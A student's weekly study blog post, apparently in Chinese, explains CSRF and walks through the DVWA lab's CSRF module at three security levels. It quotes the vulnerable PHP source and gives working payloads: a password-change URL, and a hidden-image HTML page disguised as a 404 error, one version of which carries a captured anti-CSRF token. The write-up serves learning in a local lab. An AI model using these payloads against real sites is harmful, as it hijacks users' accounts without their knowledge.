web week four

web week four

内容:

  1. 学习CSRF(跨站请求伪造);
  2. 完成dvwa第三个模块CSRF;
  3. 继续学习php以及HTML

CSRF学习

一、概述
CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie、session会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害人的身份向服务器发送请求,从而完成非法操作(如转账、改密等)。
举个例子,你在向别人转钱的时候,钱转过去了,登陆的页面还没有关闭,那么这时候,突然有人又给你发过来发过来一个网址,对你有很大诱惑力,你在没有退出支付账号的同时点进网站,这时候,恶链接就会篡改你的支付账号和密码,达到自己目的。

二、DVWA操作

  • low级别

在这里插入图片描述
首先对low级别进行bp抓包,可以看到他的cookie:
Cookie: security=low; PHPSESSID=sic1vgbnf1fdd10ip7rfcc28t6
以及它的url:
http://DVWA-master/vulnerabilities/csrf/?password_new=输的新密码&password_conf=输的确认密码&Change=Change#
这里我们确定的密码是:password
在这里插入图片描述
查看它的源代码,没有什么重重防护,可以说就是为了让你攻击的~

<?php

if( isset( $_GET[ 'Change' ] ) ) {
   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
       // They do!
       $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
       $pass_new = md5( $pass_new );

       // Update the database
       $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
       $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

       // Feedback for the user
       echo "<pre>Password Changed.</pre>";
   }
   else {
       // Issue with passwords matching
       echo "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在这里我们可以直接通过进去链接进行密码的修改:
http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
但明眼人一看就能知道这明明就是请君入瓮的套路,傻子也不会点进去,这样的话,我们就要将把上面链接放在公网某个地址,当用户点击这个链接后,则出现下面页面,客户可能以为访问了一个失效页面。所以这里构造了一个html文档


<img src=" http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

在这里插入图片描述
然后在你输入password时就会login failed,这时候输入123456就能够成功进去。

  • Medium

我们先用上述至今打开网址进行修改的方法进行请求伪造。结果:在这里插入图片描述
可以看到,我们这里是改不了密码的。接下来查看源代码。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

源代码里发现多了一个这样的对比:

 if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )

是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的攻击。
这时候我们就可以应用上述建立html文档的方式进行csrf攻击。

  • high级别

我们可以用上述方法劲松csrf攻击,但都可以发现,我们这里high级别明显是用上述方法行不通,这样的话,我们先来看看源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

High级别的代码加入了验证token机制,每次用户修改密码时,服务器会返回随机的token,向服务器再次发起请求时,需要提交token参数,而服务器收到token后,会首先检查token,只有token正确,才会继续处理客户端的请求。
所以这里,我们首先抓包找到token参数。在这里插入图片描述
当当当当,在上述抓包中,我们找到了相应参数,把他放到我们的html文档中:



<img src=" http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=688237d81bc2cfbcdc23e6a5e023580e#"border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

好的,重新登录DVWA使用密码123456,成功进去,任务完成!

php以及html学习

php以及html的学习主要是通过B站的视频。这里就不进行阐述,由于时间原因,他的基础课程还没有学完(捂脸),但这周返校比较忙、乱,下个周将会更好!!!,具体概括我将在明天的总结中进行概括总结。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值